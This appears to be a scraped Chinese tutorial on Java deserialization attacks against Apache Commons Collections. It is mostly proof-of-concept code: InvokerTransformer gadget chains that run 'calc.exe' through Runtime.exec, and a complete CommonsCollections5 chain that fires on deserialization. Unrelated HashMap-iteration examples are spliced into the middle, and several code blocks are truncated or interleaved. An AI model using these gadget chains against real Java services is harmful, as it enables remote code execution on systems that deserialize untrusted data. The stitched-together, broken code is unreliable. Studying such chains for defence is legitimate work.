publicstaticvoidmain(String[] argv)throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}), }; Transformer chain = new ChainedTransformer(transformers); chain.transform(chain); }
TransformedMap
继续补全POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
publicstaticvoidmain(String[] args)throws Exception { Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
Transformer chain = new ChainedTransformer(transformers_exec);
Map innerMap = new HashMap(); innerMap.put("Key", "Value");
Map map = new HashMap(); map.put("one",1); map.put("two",2); map.put("three",3); map.put("four",4);
Iterator iter = map.entrySet().iterator(); while (iter.hasNext()){ Map.Entry entry = (Map.Entry) iter.next(); System.out.println("Key-Value is "+entry.getKey()+"-"+entry.getValue()); } }
0x02 keySet
步骤
根据keySet()获取HashMap的键的Set集合
通过Iterator迭代器遍历刚刚的集合
Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
publicstaticvoidmain(String[] args){
Map map = new HashMap(); map.put("one",1); map.put("two",2); map.put("three",3); map.put("four",4);
Iterator iter = map.keySet().iterator(); while (iter.hasNext()){ String key = (String)iter.next(); System.out.println("Key-Value is "+key+"-"+map.get(key)); } }
0x03 values
步骤
根据values()获取HashMap的值的集合
通过Iterator迭代器遍历刚刚的集合,不能遍历key
Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
publicstaticvoidmain(String[] args){
Map map = new HashMap(); map.put("one",1); map.put("two",2); map.put("three",3); map.put("four",4);
publicclasscommon_collection5{ publicstaticvoidmain(String[] args)throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) };
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap(); innerMap.put("value","admin");
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
// val是私有变量,所以利用下面方法进行赋值 Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, entry);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(poc); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object object = (Object) ois.readObject(); } }